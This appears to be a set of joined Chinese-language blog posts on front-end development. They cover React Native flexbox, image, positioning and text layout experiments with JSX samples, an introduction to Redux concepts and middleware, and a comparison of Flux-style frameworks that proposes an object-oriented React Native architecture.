    <View style={{flex: 1}}/>
  </View>



结果可以看到flex的元素如果不设置宽度， 都会百分之百的占满父容器。

水平垂直居中

css 里边经常会做的事情是去讲一个文本或者图片水平垂直居中，如果使用过css 的flexbox当然知道使用alignItems 和 justifyContent . 那用react-native也来做一下实验

   <Text style={[styles.text, styles.header]}>
        水平居中
    </Text>

    <View style={{height: 100, backgroundColor: '#333333', alignItems: 'center'}}>
      <View style={{backgroundColor: '#fefefe', width: 30, height: 30, borderRadius: 15}}/>
    </View>

     <Text style={[styles.text, styles.header]}>
        垂直居中
    </Text>
    <View style={{height: 100, backgroundColor: '#333333', justifyContent: 'center'}}>
      <View style={{backgroundColor: '#fefefe', width: 30, height: 30, borderRadius: 15}}/>
    </View>

    <Text style={[styles.text, styles.header]}>
        水平垂直居中
    </Text>
    <View style={{height: 100, backgroundColor: '#333333', alignItems: 'center', justifyContent: 'center'}}>
      <View style={{backgroundColor: '#fefefe', width: 30, height: 30, borderRadius: 15}}/>
    </View>




网格布局

网格布局实验， 网格布局能够满足绝大多数的日常开发需求，所以只要满足网格布局的spec，那么就可以证明react的flex布局能够满足正常开发需求

等分的网格



    <View style={styles.flexContainer}>
      <View style={styles.cell}>
        <Text style={styles.welcome}>
          cell1
        </Text>
      </View>
      <View style={styles.cell}>
        <Text style={styles.welcome}>
          cell2
        </Text>
      </View>
      <View style={styles.cell}>
        <Text style={styles.welcome}>
          cell3
        </Text>
      </View>
    </View>

    styles = {
        flexContainer: {
            // 容器需要添加direction才能变成让子元素flex
            flexDirection: 'row'
        },
        cell: {
            flex: 1,
            height: 50,
            backgroundColor: '#aaaaaa'
        },
        welcome: {
            fontSize: 20,
            textAlign: 'center',
            margin: 10
        },
    }

左边固定， 右边固定，中间flex的布局



    <View style={styles.flexContainer}>
      <View style={styles.cellfixed}>
        <Text style={styles.welcome}>
          fixed
        </Text>
      </View>
      <View style={styles.cell}>
        <Text style={styles.welcome}>
          flex
        </Text>
      </View>
      <View style={styles.cellfixed}>
        <Text style={styles.welcome}>
          fixed
        </Text>
      </View>
    </View>

    styles = {
        flexContainer: {
            // 容器需要添加direction才能变成让子元素flex
            flexDirection: 'row'
        },
        cell: {
            flex: 1,
            height: 50,
            backgroundColor: '#aaaaaa'
        },
        welcome: {
            fontSize: 20,
            textAlign: 'center',
            margin: 10
        },
        cellfixed: {
            height: 50,
            width: 80,
            backgroundColor: '#fefefe'
        } 
    }

嵌套的网格

通常网格不是一层的，布局容器都是一层套一层的， 所以必须验证在real world下面的网格布局

 <Text style={[styles.text, styles.header]}>
    嵌套的网格
  </Text>
  <View style={{flexDirection: 'row', height: 200, backgroundColor:"#fefefe", padding: 20}}>
    <View style={{flex: 1, flexDirection:'column', padding: 15, backgroundColor:"#eeeeee"}}>  
        <View style={{flex: 1, backgroundColor:"#bbaaaa"}}>  
        </View>
        <View style={{flex: 1, backgroundColor:"#aabbaa"}}>
        </View>
    </View>
    <View style={{flex: 1, padding: 15, flexDirection:'row', backgroundColor:"#eeeeee"}}>
        <View style={{flex: 1, backgroundColor:"#aaaabb"}}>  
            <View style={{flex: 1, flexDirection:'row', backgroundColor:"#eeaaaa"}}> 
               <View style={{flex: 1, backgroundColor:"#eebbaa"}}>  
              </View>
              <View style={{flex: 1, backgroundColor:"#bbccee"}}>
              </View> 
            </View>
            <View style={{flex: 1, backgroundColor:"#eebbdd"}}>
            </View>
        </View>
        <View style={{flex: 1, backgroundColor:"#aaccaa"}}>
          <ScrollView style={{flex: 1, backgroundColor:"#bbccdd", padding: 5}}>
                <View style={{flexDirection: 'row', height: 50, backgroundColor:"#fefefe"}}>
                  <View style={{flex: 1, flexDirection:'column', backgroundColor:"#eeeeee"}}>  
                      <View style={{flex: 1, backgroundColor:"#bbaaaa"}}>  
                      </View>
                      <View style={{flex: 1, backgroundColor:"#aabbaa"}}>
                      </View>
                  </View>
                  <View style={{flex: 1, flexDirection:'row', backgroundColor:"#eeeeee"}}>
                      <View style={{flex: 1, backgroundColor:"#aaaabb"}}>  
                          <View style={{flex: 1, flexDirection:'row', backgroundColor:"#eeaaaa"}}> 
                             <View style={{flex: 1, backgroundColor:"#eebbaa"}}>  
                            </View>
                            <View style={{flex: 1, backgroundColor:"#bbccee"}}>
                            </View> 
                          </View>
                          <View style={{flex: 1, backgroundColor:"#eebbdd"}}>
                          </View>
                      </View>
                      <View style={{flex: 1, backgroundColor:"#aaccaa"}}>
                      </View>
                  </View>
                </View>
                <Text style={[styles.text, styles.header, {color: '#ffffff', fontSize: 12}]}>
                  {(function(){
                    var str = '';
                    var n = 100;
                    while(n--) {
                      str += '嵌套的网格' + '\n';
                    }
                    return str;
                  })()}
                </Text>
          </ScrollView> 
        </View>
    </View>
  </View>



好在没被我玩儿坏，可以看到上图的嵌套关系也是足够的复杂的，（我还加了一个ScrollView，然后再嵌套整个结构）嵌套多层的布局是没有问题的。

图片布局

首先我们得知道图片有一个stretchMode. 通过Image.resizeMode访问

找出有哪些mode

  var keys = Object.keys(Image.resizeMode).join('  ');

打印出来的是 contain, cover, stretch 这几种模式， （官方文档不知道为什么不直接给出）

尝试使用这些mode

  <Text style={styles.welcome}> 100px height </Text>
  <Image style={{height: 100}} source={{uri: 'http://gtms03.alicdn.com/tps/i3/TB1Kcs5GXXXXXbMXVXXutsrNFXX-608-370.png'}} />



100px 高度， 可以看到图片适应100高度和全屏宽度，背景居中适应未拉伸但是被截断也就是cover。

  <Text style={styles.welcome}> 100px height with resizeMode contain </Text>
  <View style={[{flex: 1, backgroundColor: '#fe0000'}]}>
      <Image style={{flex: 1, height: 100, resizeMode: Image.resizeMode.contain}} source={{uri: 'http://gtms03.alicdn.com/tps/i3/TB1Kcs5GXXXXXbMXVXXutsrNFXX-608-370.png'}} />
  </View>


contain 模式容器完全容纳图片，图片自适应宽高

  <Text style={styles.welcome}> 100px height with resizeMode cover </Text>
  <View style={[{flex: 1, backgroundColor: '#fe0000'}]}>
      <Image style={{flex: 1, height: 100, resizeMode: Image.resizeMode.cover}} source={{uri: 'http://gtms03.alicdn.com/tps/i3/TB1Kcs5GXXXXXbMXVXXutsrNFXX-608-370.png'}} />
  </View>



cover模式同100px高度模式


  <Text style={styles.welcome}> 100px height with resizeMode stretch </Text>
  <View style={[{flex: 1, backgroundColor: '#fe0000'}]}>
      <Image style={{flex: 1, height: 100, resizeMode: Image.resizeMode.stretch}} source={{uri: 'http://gtms03.alicdn.com/tps/i3/TB1Kcs5GXXXXXbMXVXXutsrNFXX-608-370.png'}} />
  </View>



stretch模式图片被拉伸适应屏幕

  <Text style={styles.welcome}> set height to image container </Text>
  <View style={[{flex: 1, backgroundColor: '#fe0000', height: 100}]}>
      <Image style={{flex: 1}} source={{uri: 'http://gtms03.alicdn.com/tps/i3/TB1Kcs5GXXXXXbMXVXXutsrNFXX-608-370.png'}} />
  </View>



随便试验了一下， 发现高度设置到父容器，图片flex的时候也会等同于cover模式

绝对定位和相对定位

 <View style={{flex: 1, height: 100, backgroundColor: '#333333'}}>
    <View style={[styles.circle, {position: 'absolute', top: 50, left: 180}]}>
    </View>
  </View>
  styles = {
    circle: {
    backgroundColor: '#fe0000',
    borderRadius: 10,
    width: 20,
    height: 20
    }
  }



和css的标准不同的是， 元素容器不用设置position：'absolute|relative' .

 <View style={{flex: 1, height: 100, backgroundColor: '#333333'}}>
    <View style={[styles.circle, {position: 'relative', top: 50, left: 50, marginLeft: 50}]}>
    </View>
  </View>



相对定位的可以看到很容易的配合margin做到了。 （我还担心不能配合margin，所以测试了一下：-：）

padding和margin

我们知道在css中区分inline元素和block元素，既然react-native实现了一个超级小的css subset。那我们就来实验一下padding和margin在inline和非inline元素上的padding和margin的使用情况。  

padding 

 <Text style={[styles.text, styles.header]}>
    在正常的View上设置padding 
  </Text>

  <View style={{padding: 30, backgroundColor: '#333333'}}>
    <Text style={[styles.text, {color: '#fefefe'}]}> Text Element</Text>
  </View>

  <Text style={[styles.text, styles.header]}>
    在文本元素上设置padding
  </Text>
  <View style={{padding: 0, backgroundColor: '#333333'}}>
    <Text style={[styles.text, {backgroundColor: '#fe0000', padding: 30}]}>
      text 元素上设置paddinga
    </Text>
  </View>



在View上设置padding很顺利，没有任何问题， 但是如果在inline元素上设置padding， 发现会出现上面的错误， paddingTop和paddingBottom都被挤成marginBottom了。 按理说，不应该对Text做padding处理， 但是确实有这样的问题存在，所以可以将这个问题mark一下。 

margin

 <Text style={[styles.text, styles.header]}>
    在正常的View上设置margin 
  </Text>

  <View style={{backgroundColor: '#333333'}}>
    <View style={{backgroundColor: '#fefefe', width: 30, height: 30, margin: 30}}/>
  </View>

  <Text style={[styles.text, styles.header]}>
    在文本元素上设置margin
  </Text>
  <View style={{backgroundColor: '#333333'}}>
    <Text style={[styles.text, {backgroundColor: '#fe0000', margin: 30}]}>
      text 元素上设置margin
    </Text>
    <Text style={[styles.text, {backgroundColor: '#fe0000', margin: 30}]}>
      text 元素上设置margin
    </Text>
  </View>



我们知道，对于inline元素，设置margin-left和margin-right有效，top和bottom按理是不会生效的， 但是上图的结果可以看到，实际是生效了的。所以现在给我的感觉是Text元素更应该理解为一个不能设置padding的block。 

算了不要猜了， 我们看看官方文档怎么说Text，https://facebook.github.io/react-native/docs/text.html

  <Text>
    <Text>First part and </Text>
    <Text>second part</Text>
  </Text>
  // Text container: all the text flows as if it was one
  // |First part |
  // |and second |
  // |part       |

  <View>
    <Text>First part and </Text>
    <Text>second part</Text>
  </View>
  // View container: each text is its own block
  // |First part |
  // |and        |
  // |second part|

也就是如果Text元素在Text里边，可以考虑为inline， 如果单独在View里边，那就是Block。 
下面会专门研究一下文本相关的布局

文本元素

首先我们得考虑对于Text元素我们希望有哪些功能或者想验证哪些功能：


	文字是否能自动换行？


	overflow ellipse？


	是否能对部分文字设置样式 ，类似span等标签




先看看文字有哪些支持的style属性

 /*==========TEXT================*/
  Attributes.style = {
    color string
    containerBackgroundColor string
    fontFamily string
    fontSize number
    fontStyle enum('normal', 'italic')
    fontWeight enum("normal", 'bold', '100', '200', '300', '400', '500', '600', '700', '800', '900')
    lineHeight number
    textAlign enum("auto", 'left', 'right', 'center')
    writingDirection enum("auto", 'ltr', 'rtl')
  }

实验1， 2， 3

 <Text style={[styles.text, styles.header]}>
      文本元素
  </Text>

  <View style={{backgroundColor: '#333333', padding: 10}}>
    <Text style={styles.baseText} numberOfLines={5}>
      <Text style={styles.titleText} onPress={this.onPressTitle}>
        文本元素{'\n'}
      </Text>
      <Text>
        {'\n'}In this example, the nested title and body text will inherit the fontFamily from styles.baseText, but the title provides its own additional styles. The title and body will stack on top of each other on account of the literal newlines, numberOfLines is Used to truncate the text with an elipsis after computing the text layout, including line wrapping, such that the total number of lines does not exceed this number.
      </Text>
    </Text>
  </View>
  styles = {
    baseText: {
      fontFamily: 'Cochin',
      color: 'white'
    },
    titleText: {
      fontSize: 20,
      fontWeight: 'bold',
    }
  }



从结果来看1，2，3得到验证。 但是不知道各位有没有发现问题， 为什么底部空出了这么多空间， 没有设置高度啊。 我去除numberOfLines={5} 这行代码，效果如下：


所以实际上， 那段空间是文本撑开的， 但是文本被numberOfLines={5} 截取了，但是剩余的空间还在。 我猜这应该是个bug。   

其实官方文档里边把numberOfLines={5}这句放到的是长文本的Text元素上的，也就是子Text上的。 实际结果是不生效。  这应该又是一个bug。 

Text元素的子Text元素的具体实现是怎样的， 感觉这货会有很多bug， 看官文

 <Text style={{fontWeight: 'bold'}}>
  I am bold
  <Text style={{color: 'red'}}>
    and red
  </Text>
 </Text>

Behind the scenes, this is going to be converted to a flat 
NSAttributedString that contains the following information



 "I am bold and red"
  0-9: bold
  9-17: bold, red

好吧， 那对于numberOfLines={5}  放在子Text元素上的那种bug倒是可以解释了。

Text的样式继承

实际上React-native里边是没有样式继承这种说法的， 但是对于Text元素里边的Text元素，上面的例子可以看出存在继承。 那既然有继承，问题就来了！

到底是继承的最外层的Text的值呢，还是继承父亲Text的值呢？

 <Text style={[styles.text, styles.header]}>
      文本样式继承
  </Text>

  <View style={{backgroundColor: '#333333', padding: 10}}>
    <Text style={{color: 'white'}}>
      <Text style={{color: 'red'}} onPress={this.onPressTitle}>
         文本元素{'\n'}
        <Text>我是white还是red呢？{'\n'} </Text>
      </Text>
      <Text>我应该是white的</Text>
    </Text>
  </View>



结果可见是直接继承父亲Text的。

总结


	react 宽度基于pt为单位， 可以通过Dimensions 来获取宽高，PixelRatio 获取密度。


	
基于flex的布局


	view默认宽度为100%


	水平居中用alignItems, 垂直居中用justifyContent


	基于flex能够实现现有的网格系统需求，且网格能够各种嵌套无bug






	
图片布局


	通过Image.resizeMode来适配图片布局，包括contain, cover, stretch


	默认不设置模式等于cover模式


	contain模式自适应宽高，给出高度值即可


	cover铺满容器，但是会做截取


	stretch铺满容器，拉伸






	
定位


	定位相对于父元素，父元素不用设置position也行


	padding 设置在Text元素上的时候会存在bug。所有padding变成了marginBottom






	
文本元素


	文字必须放在Text元素里边


	Text元素可以相互嵌套，且存在样式继承关系


	numberOfLines 需要放在最外层的Text元素上，且虽然截取了文字但是还是会占用空间









 Redux 介绍
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Redux 介绍

本文主要是对 Redux 官方文档 的梳理以及自身对 Redux 的理解。



单页面应用的痛点

对于复杂的单页面应用，状态（state）管理非常重要。state 可能包括：服务端的响应数据、本地对响应数据的缓存、本地创建的数据（比如，表单数据）以及一些 UI 的状态信息（比如，路由、选中的 tab、是否显示下拉列表、页码控制等等）。如果 state 变化不可预测，就会难于调试（state 不易重现，很难复现一些 bug）和不易于扩展（比如，优化更新渲染、服务端渲染、路由切换时获取数据等等）。

Redux 就是用来确保 state 变化的可预测性，主要的约束有：


	state 以单一对象存储在 store 对象中


	state 只读


	使用纯函数 reducer 执行 state 更新




state 为单一对象，使得 Redux 只需要维护一棵状态树，服务端很容易初始化状态，易于服务器渲染。state 只能通过 dispatch(action) 来触发更新，更新逻辑由 reducer 来执行。



Actions、Reducers 和 Store

action 可以理解为应用向 store 传递的数据信息（一般为用户交互信息）。在实际应用中，传递的信息可以约定一个固定的数据格式，比如: Flux Standard Action。    
为了便于测试和易于扩展，Redux 引入了 Action Creator:

function addTodo(text) {
  return {
    type: ADD_TODO,
    text,
  }
}
store.dispatch(addTodo(text))


dispatch(action) 是一个同步的过程：执行 reducer 更新 state -> 调用 store 的监听处理函数。如果需要在 dispatch 时执行一些异步操作（fetch action data），可以通过引入 Middleware 解决。



reducer 实际上就是一个函数：(previousState, action) => newState。用来执行根据指定 action 来更新 state 的逻辑。通过 combineReducers(reducers) 可以把多个 reducer 合并成一个 root reducer。

reducer 不存储 state, reducer 函数逻辑中不应该直接改变 state 对象, 而是返回新的 state 对象（可以考虑使用 immutable-js）。



store 是一个单一对象：


	管理应用的 state


	通过 store.getState() 可以获取 state


	通过 store.dispatch(action) 来触发 state 更新


	通过 store.subscribe(listener) 来注册 state 变化监听器


	通过 createStore(reducer, [initialState]) 创建




在 Redux 应用中，只允许有一个 store 对象，可以通过 combineReducers(reducers) 来实现对 state 管理的逻辑划分（多个 reducer）。



Middleware

middleware 其实就是高阶函数，作用于 dispatch 返回一个新的 dispatch（附加了该中间件功能）。可以形式化为：newDispatch = middleware1(middleware2(...(dispatch)...))。

// thunk-middleware
export default function thunkMiddleware({ dispatch, getState }) {
    return next => action =>
        typeof action === 'function' ? action(dispatch, getState) : next(action)
}


通过 thunk-middleware 我们可以看出中间件的一般形式：中间件函数接受两个参数参数： dispatch 和 getState（也就是说中间件可以获取 state 以及 dispatch new action）。中间件一般返回 next(action)（thunk-middleware 比较特殊，它用于 dispatch 执行异步回调的 action）。store 的创建过程如下：

const reducer = combineReducers(reducers)
const finalCreateStore = applyMiddleware(promiseMiddleware, warningMiddleware,
    loggerMiddleWare)(createStore)
const store = finalCreateStore(reducer)


异步 Actions

单页面应用中充斥着大量的异步请求（ajax）。dispatch(action) 是同步的，如果要处理异步 action，需要使用一些中间件。    
redux-thunks 和 redux-promise 分别是使用异步回调和 Promise 来解决异步 action 问题的。

Redux 和传统 Flux 框架的比较




图来自 UNIDIRECTIONAL USER INTERFACE ARCHITECTURES

Redux 和 React

Redux 和 React 是没有必然关系的，Redux 用于管理 state，与具体的 View 框架无关。不过，Redux 特别适合那些 state => UI 的框架（比如：React, Deku）。

可以使用 react-redux 来绑定 React，react-redux 绑定的组件我们一般称之为 smart components，Smart and Dumb Components 在 react-redux 中区分如下：



	
            	Location
            	Use React-Redux
            	To read data, they
            	To change data, they
        




	“Smart” Components
          	Top level, route handlers
          	Yes
          
	Subscribe to Redux state
          	Dispatch Redux actions
        


	“Dumb” Components
          	Middle and leaf components
          	No
          
	Read data from props
          	Invoke callbacks from props
        




简单来看：Smart component` 是连接 Redux 的组件（@connect），一般不可复用。Dumb component 是纯粹的组件，一般可复用。
两者的共同点是：无状态，或者说状态提取到上层，统一由 redux 的 store 来管理。redux state -> Smart component -> Dumb component -> Dumb component（通过 props 传递）。在实践中，少量 Dumb component 允许自带 UI 状态信息（组件 unmount 后，不需要保留 UI 状态）。
值得注意的是，Smart component 是应用更新状态的最小单元。实践中，可以将 route handlers 作为 Smart component，一个 Smart component 对应一个 reducer。
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还有一篇较早的文章，也是分析的过程，可以对本篇文章进行一个补全：RN组件状态设计思考：http://segmentfault.com/a/1190000004180955

请注意，本篇写的是react native的架构设计，如果你用react来开发web程序，本篇文章只能仅供参考，问题都没有在web上去考虑过。

本篇较长，前面是目前flux开源框架的一些分析，后面是架构设计过程。您可以直奔主题。

用RN最大的难题是设计思想的转变，以前的设计方法论已经不太适用了。而RN仅仅提供了view的框架，构建完整app的架构并没有直接提供。

考虑目前遇到的如下问题，希望架构给出解决方案。


	交互：如何解决组件间通信【父子、子父、兄弟等，特别是跨层or反向数据流动等】；用state还是接口操作组件；


	职责：组件状态放哪，业务逻辑放哪，数据放哪，因为太灵活了，怎么做都可以实现功能，但是怎么做才是最好的，才是最正确的呢？




todo一个问题：由于react是面向状态编程，相当于react的组件只关注数据的最终状态，数据是怎么产生的并不关心，但是某些场景下，数据如何产生的是会影响到组件的一些行为的【比如一个新增行要求有动画效果，查询出的行就不需要等】，这在RN中很难描述。。。。。

RN架构就是为解决上述问题提供的指导和方法论，是通盘考虑整个开发、测试、运维的状况，做出的考虑最全面的抉择，或者为抉择提供依据。

目前为react服务的架构也有一些了，如Flux，Reflux，Redux，Relay，Marty。

Flux

flux是官方提供的架构，目的是分层解耦，职责划分清晰，谁负责干啥很明确。具体描述可以参考官方文档，这里不详述。


	action 封装请求


	dispatcher 注册处理器、分发请求


	store 是处理器，处理业务逻辑，保存数据


	view 根据store提供的数据进行展现;接受用户的输入并发出action请求。






数据流动：
Action-> Dispatcher -> Store -> Component

但我觉得解耦的太细了，干一个事，要做太多太多的额外工作了。

光注册监听动作就2次，一次是store注册到dispatcher，一次是view注册到store中。

而且，注册到dispatcher的监听应该都不叫注册，架构完全没有提供任何封装，直接暴露一个统一的回调方法，里面自行if else路由不同的store。

Reflux

结构上与flux架构基本一致，去掉了flux的一些冗余操作【比如没有了dispatcher】，架构更加简洁和紧凑，用到了一些约定大于配置的理念。

基本上将flux的架构冗余都简化了，可以说是flux的去冗余提升版，但是没有本质的变化。

╔═════════╗       ╔════════╗       ╔═════════════════╗
║ Actions ║──────>║ Stores ║──────>║ View Components ║
╚═════════╝       ╚════════╝       ╚═════════════════╝
     ^                                      │
     └──────────────────────────────────────┘



	更容易的监听。listenables和约定以on开头的方法。等。


	去掉了dispatcher。


	action可以进行aop编程。


	去掉了waitfor。store可以监听store。


	component提供了一系列mixin，方便注册\卸载到store的监听和与store交互等。




Redux

社区内比较受推崇，因为用起来相对比较简单



特性：


	分层设计，职责清晰。


	要求store reducer都是页面单例，易于管理。


	action为请求dto对象，是请求类型，请求数据的载体。


	reducer是处理请求的方法。不允许有状态，必须是纯方法。必须严格遵守输入输出，中间不允许有异步调用。不允许对state直接进行修改，要想修改必须返回新对象。


	
store


	维持应用的state；


	提供 getState() 方法获取 state；


	提供 dispatch(action) 方法分发请求来更新 state；门面模式，要求所有的请求满足统一的格式【可以进行路由、监控、日志等】，统一的调用方式。


	通过 subscribe(listener) 注册监听器监听state的变化。






	官方文档写的较为详细，从设计到开发都有，比flux要好




痛处如下，看能否接受或者解决：


	
redux的原则1：state不能被修改。


	其实这个用react的state也会有同样的问题，最好把state设计的没有冗余，尽量少出这种情况


	解决方案：参考官方：因为我们不能直接修改却要更新数组中指定的一项数据，这里需要先把前面和后面都切开。如果经常需要这类的操作，可以选择使用帮助类 React.addons.update，updeep，或者使用原生支持深度更新的库 Immutable。最后，时刻谨记永远不要在克隆 state 前修改它。






	
单一的庞大的reducer的拆分


	这块设计也不好做，会让人疑惑


	官方给的demo中直接按state的内容区分，我觉得这样做不好，如果后期有跨内容的情况，就比较奇怪了。官方给的combineReducers方案，也只是减少代码量，本质没有变化，state还是拆分处理，路由还是业务逻辑自己来做。


	解决方案：还是处理一整个state，可以按照约定写reducer类而不是方法，类里按照actionType建方法，架构自动路由并调用。


	以前做java架构，路由一定是架构来调用的，目前感觉各大flux框架都是解决问题不彻底。






	官方建议设计模式：顶层容器组件才对redux有依赖，组件间通过props来传递数据。按照这样设计还是没有解决组件间交互和数据传递的问题。官方react设计建议：react的设计建议：http://camsong.github.io/redux-in-chinese/docs/basics/UsageWithReact.html


	使用connect将state绑定到component。此处有些黑盒了。


	异步action用来请求服务端数据,利用middleware增强createStore的dispatch后即支持。




Relay

没有时间，没做研究

Marty

没有时间，没做研究

结论

开源架构封装的简单的flux会产生较多的冗余代码。

开源架构封装的复杂的redux，其和RN绑定封装了一些东西，是一个黑盒，不易理解和维护。

介于上述两者之间的开源架构reflux，文档较上述2个少，不知道其可持续性如何。如果一定要用开源架构的话，我觉得他稍加封装是一个较为推荐的选择。

不是特复杂的程序【一般spa的程序会更复杂一些，而RN并不是spa】，这些概念只会增加你的开发难度，并且对后面维护的人要求更高。

我们继续头脑风暴，继续抽象总结一下flux系列框架， flux系列框架干了什么，没干什么，针对开篇提出的问题。


	【解决职责】flux系列框架都做到了解耦，分层，谁该干什么就干什么，不许干别的，让代码读起来更有预测性和一致性，方便维护


	【解决通信】继续解耦，flux系列框架采用事件机制解决各层之间通信，采用props传递解决各组件之间通信。




事件系统是关键

flux系列架构解决通信问题的方法是使用事件系统，事件系统中的回调函数是业务逻辑，redux是【store action reducer】，flux是【action dispacher store】。

我们真的需要事件系统吗？

事件系统的好处：


	一个事件可以注册多个回调函数


	各回调函数间没有耦合。




关于1

需要注册多个的这种情况并不多见，不信你去翻看你已经写好的代码，是不是大部分都是注册一个。

关于2 

解耦确实很彻底，但是当我需要控制执行顺序，需要等a执行完在执行b，怎么办？ok你可以先注册a在注册b啊。那a要是一个fetch或ajax操作呢？这时候只能乖乖的在a的请求结束回调函数中进行调用b了。又变成a依赖b了。当然，你可以继续dispatch(b)，这就没有耦合了。但是你要知道注册一个事件是要有成本的，要写action，而且这种dispatch的方式，真的不太适合人类的阅读，dispatch一下，下一步都有谁来执行都不知道，这哪有直接调用来的爽快。

好吧说到这，最后的结论也出来了，不使用开源架构，借助其好的思想，替换其事件系统为面向对象结构，自行封装架构。

架构设计

再次强调：目前仅考虑如何应用于react native

先扣题，针对开篇问题的解决方案如下

交互


	组件对外发布：组件对外只允许使用props来暴露功能，不允许使用接口及其它一切方式


	父子组件间：组件的子组件通过父组件传递的接口来与父组件通信


	
兄弟组件间:


	方案1：假设a要调用b，参考第一条的话，其实就是a要改变b的props，那么a只要改b的props的来源即可，b的props的来源一般就是根组件的state。那么根组件就要有组织和协调的能力。


	方案2：利用事件机制，基本同flux架构。略复杂，且我们并不需要事件的特性，本架构设计不推荐。








职责


	root-存放state，组织子view组件，组织业务逻辑对象等


	子view组件-根据this.props渲染view。


	业务逻辑对象-提供业务逻辑方法




根据以上推导，我将其命名为面向对象的ReactNative架构设计，它与flux系列架构的最大的不同之处在于，用业务逻辑对象来代替了【store action dispatcher】or【store reducer】的事件系统。业务逻辑对象就是一组对象，用面向对象的设计理念设计出的n个对象，其负责处理整个页面的业务逻辑。

以上为推导过程，干货才开始。。。。

面向对象的ReactNative组件\页面架构设计

一个独立完整的组件\页面一般由以下元素构成：


	
root组件，1个，


	负责初始化state


	负责提供对外props列表


	负责组合子view组件形成页面效果


	负责注册业务逻辑对象提供的业务逻辑方法


	负责管理业务逻辑对象






	
view子组件，0-n个，

	根据props进行视图的渲染






	
业务逻辑对象，0-n个，

	提供业务逻辑方法








root组件

root组件由以下元素组成：


	props-公有属性


	state-RN体系的状态,必须使用Immutable对象


	私有属性


	业务逻辑对象的引用-在componentWillMount中初始化


	私有方法-以下划线开头，内部使用or传递给子组件使用


	公有方法【不推荐】，子组件和外部组件都可以用，但不推荐用公有方法来对外发布功能，破坏了面向状态编程，尽可能的使用props来发布功能






注意：定义root组件的state的时候，如果使用es6的方式，要把state的初始化放到componentWillMount中，如果在构造器中this.props为空。

子view组件

子view组件中包含：


	props-公有属性


	
私有属性-如果你不能理解下面的要求，建议没有，统一放在父组件上


	绝对不允许和父组件的属性or状态有冗余。无论是显性冗余还是计算结果冗余，除非你能确定结算是性能的瓶颈。


	此属性只有自己会用，父组件和兄弟组件不会使用，如果你不确定这点，请把这个组件放到父组件上，方便组件间通信






	私有方法-仅作为渲染view的使用，不许有业务逻辑


	公有方法【不推荐，理由同root组件】






业务逻辑对象

业务逻辑对象由以下元素组成：


	root组件对象引用-this.root


	构造器-初始化root对象，初始化私有属性


	私有属性


	公有方法-对外提供业务逻辑


	私有方法-以下划线开头，内部使用






ps1：通用型组件只要求尽量满足上述架构设计

通用型组件一般为不包含任何业务的纯技术组件，具有高复用价值、高定制性、通常不能直接使用需要代码定制等特点。

可以说是一个系统的各个基础零件，比如一个蒙板效果，或者一个模态弹出框。

架构的最终目的是保证系统整体结构良好，代码质量良好，易于维护。一般编写通用型组件的人也是经验较为丰富的工程师，代码质量会有保证。而且，作为零件的通用组件的使用场景和生命周期都和普通组件\页面不同，所以，仅要求通用组件编写尽量满足架构设计即可。

ps2：view子组件复用问题

抛出一个问题，设计的过程中，子组件是否需要复用？子组件是否需要复用会影响到组件设计。


	需复用，只暴露props，可以内部自行管理state【尽量避免除非业务需要】


	不需复用，只暴露props，内部无state【因为不会单独使用，不需要setState来触发渲染】




其实， 一般按照不需复用的情况设计，除非复用很明确，但这时候应该抽出去，变成独立的组件存在就可以了，所以这个问题是不存在的。

适用场景分析

flux系列框架

flux系列框架的适用场景我觉得应具有以下特点：

一个页面中组件较多，组件之间较为独立，但是重叠使用模型，模型的变化会导致很多组件的展现和行为。

比如，开发一个类似qq的聊天页面，左侧是联系人列表，右侧是与某人的消息对话框，当收到一个消息之后，1要刷新左侧联系人列表的最近联系人，2要右侧的消息对话框中显示这个消息，3要页面title要提示新消息。这就是典型的一个新消息到来事件【消息模型发生了变化】触发三个无关联的组件都有行为和展现的变化。如果用事件系统来开发就做到了解耦的极致，未来如果还要加入第4种处理也不用修改原来的逻辑，就直接注册一下就可以了，满足了开闭原则。

需要对app运行过程进行监控，数据采样等

flux系列框架是一个典型的门面模式，业务动作都要通过统一的门面dispatch进行，天生具有良好的监控解决方案。

面向对象的RN组件架构

面向对象的RN组件架构的使用场景特点我没有总结出来，我觉得所有场景都可以用，只要你业务逻辑对象设计的好，都不是问题。

还拿上面聊天界面举例子，面向对象的RN组件架构其实也可以解耦的写出写上述场景，你完全可以将业务逻辑对象之间的交互设计成一个小的事件系统，只是架构没有直接约束这种解耦，flux系列架构直接在架构中就强制编码人员做到了解耦，但是如果我不需要解耦的时候就相当于增加了复杂度，得不偿失了。

所以面向对象的RN组件架构要更灵活，也更简单更容易让人理解，更容易预测代码的执行流向，但同时因为灵活对业务逻辑对象设计者的要求也较高，针对较为复杂or重要页面建议进行详细设计并leader检查来保证质量。

如何做监控

因为面向对象的RN架构中去掉了统一的业务逻辑调用facade入口dispatch，那我们如何来做监控呢。

方案1：在需要监控的地方人为加入监控点。

这个方案对业务代码和监控代码的耦合确实有点大，是最差的解决方案了。不推荐。

方案2：在基类BaseLogicObj的构造器中对对象的所有方法进行代理-todo待验证

这个方案对业务代码透明，但是还只是个想法，未进行代码测试和验证。

方案3.....还没有想出别的方案，有没有同学给点思路？

架构之美

最后在分享demo代码之前，摘抄了天猫前端架构师团队对架构的认识，个人觉得十分认同。

简单：
简单的东西才能长久，HTML、CSS和JavaScript之所以能够活到现在，而其他类似的很牛的方案都死掉了，原因之一是简单，才有那么多人用它，所以我们需要把技术和产品方案朝着简单的思路发展，简单才是本质，复杂一定是临时的会过时的。天猫的前端技术架构为什么都基于Kissy，为什么是两层架构，就是朝着简单的方式去思考。看起来简单，用起来简单。

高效：
简单是高效的前提，复杂的高效都是临时的会过时的，技术架构一定要提高团队的工作效率，否则一定会被抛弃，因此把简单的规则自动化，把精确的重复的事情让机器去做，前端这么多年为什么开发环境不够成熟，就是自动化的工具太少，前端又很少能力驾驭编写工具的语言，而Nodejs的出现是一个前所未有的机会。

灵活：
高效往往和灵活是对立的，就像移动上Native和Web的关系，而我们就需要思考如何做到两者兼顾，既高效又灵活，所以要不断把事情做简单，思考本质、看到本质，基于本质去实现。比如Apple为什么敢于把鼠标和键盘去掉，是因为确信人直接和界面打交道比借助一个中间硬件更能够表达人机交互的本质。

新鲜：
面向未来，前端需要不停地更新自己，无论是思想还是技术。比如整个天猫基于Kissy，那么就使用最新的Kissy版本，基础设施能够升级是一种能力，如果有一天基础设施升不了啦，那么这套技术架构就老去了。比如发现Gulp比Grunt更能够代表未来，那么我们毫不犹豫地整个团队开始进行升级。

完整demo代码

此demo仿照redux提供的todolist demo编写。

redux demo 地址：http://camsong.github.io/redux-in-chinese/docs/basics/ExampleTodoList.html

demo截图：



todolist页面：



'use strict'


